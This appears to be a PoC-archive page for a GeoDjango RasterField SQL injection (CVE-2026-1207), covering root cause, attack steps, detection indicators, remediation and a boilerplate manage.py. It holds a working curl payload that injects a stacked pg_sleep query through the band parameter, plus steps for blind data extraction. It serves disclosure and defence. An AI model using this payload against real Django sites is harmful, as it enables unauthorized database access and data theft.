PoC Archive PoC Archive
High CVE-2026-1207 unpatched

Django GIS RasterField SQL Injection (CVE-2026-1207)

by sw0rd1ight · 2026-07-05

Severity
High
CVE
CVE-2026-1207
Category
web
Affected product
Django django.contrib.gis (GeoDjango) RasterField queries
Affected versions
Django versions using GeoDjango RasterField with __contains raster lookups (specific patched version not stated in source)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchersw0rd1ight
CVE / AdvisoryCVE-2026-1207
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsdjango, gis, geodjango, sql-injection, rasterfield, postgis, python
RelatedN/A

Affected Target

FieldValue
Software / SystemDjango django.contrib.gis (GeoDjango) RasterField queries
Versions AffectedDjango versions using GeoDjango RasterField with __contains raster lookups (specific patched version not stated in source)
Language / PlatformPython / Django, PostgreSQL + PostGIS backend
Authentication RequiredNo
Network Access RequiredYes

Summary

The reproduction project demonstrates a SQL injection flaw in GeoDjango’s raster query handling. When a view builds a RasterField lookup such as rast__contains=(rast, band), the band value taken directly from an HTTP query parameter is concatenated into the generated SQL rather than being passed as a bound parameter. An attacker can therefore inject arbitrary SQL through the band parameter of the demo book/search endpoint. The included Django project (models, views, migrations) reproduces the vulnerable raster comparison end-to-end against a PostGIS-backed database inside a devcontainer.


Vulnerability Details

Root Cause

The band component of a raster __contains lookup is inserted into the raw SQL query string without parameterization when GeoDjango builds the ST_ContainsParam fragment, allowing attacker-controlled input to break out of the intended value context.

Attack Vector

  1. Stand up the vulnerable Django project (vuln app with RasterModel) behind PostgreSQL/PostGIS.
  2. Send a GET request to the book/search endpoint with a crafted band query parameter, e.g. a value that closes the current clause and appends a stacked query.
  3. The unsanitized band value is spliced into the SQL executed against the raster table.
  4. Use a boolean/time-based technique (e.g. pg_sleep) to confirm and extract data through the injected SQL.

Impact

Full SQL injection against the application’s database, enabling data disclosure, blind data extraction, and potential further compromise depending on database privileges.


Environment / Lab Setup

Target:   Django + django.contrib.gis (GeoDjango) with PostGIS-backed PostgreSQL
Attacker: Any HTTP client (curl/browser) able to reach the exposed Django dev server

Proof of Concept

PoC Script

See manage.py, vuln/, and web/ in this folder.

1
2
3
4
python manage.py migrate
python manage.py runserver 0.0.0.0:8087

curl "http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--"

The provided Django project stands up a minimal app exposing a vulnerable raster search view; the request above injects a time-delay payload into the band parameter and the resulting ~3 second response delay confirms the injection.


Detection & Indicators of Compromise

"GET /book/search?band=" combined with SQL keywords (select, union, sleep) in query string

Signs of compromise:

  • Abnormally slow responses to book/search requests correlating with pg_sleep-style payloads in the band parameter
  • PostgreSQL logs showing malformed or stacked queries originating from the raster lookup
  • Unexpected raw SQL fragments appearing in application query logs (qs.query output)

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationValidate/whitelist the band parameter to numeric-only values before use in raster lookups, and avoid passing unsanitized user input into RasterField queries

References


Notes

Mirrored from https://github.com/sw0rd1ight/CVE-2026-1207 on 2026-07-05.

manage.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys


def main():
    """Run administrative tasks."""
    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'web.settings')
    try:
        from django.core.management import execute_from_command_line
    except ImportError as exc:
        raise ImportError(
            "Couldn't import Django. Are you sure it's installed and "
            "available on your PYTHONPATH environment variable? Did you "
            "forget to activate a virtual environment?"
        ) from exc
    execute_from_command_line(sys.argv)


if __name__ == '__main__':
    main()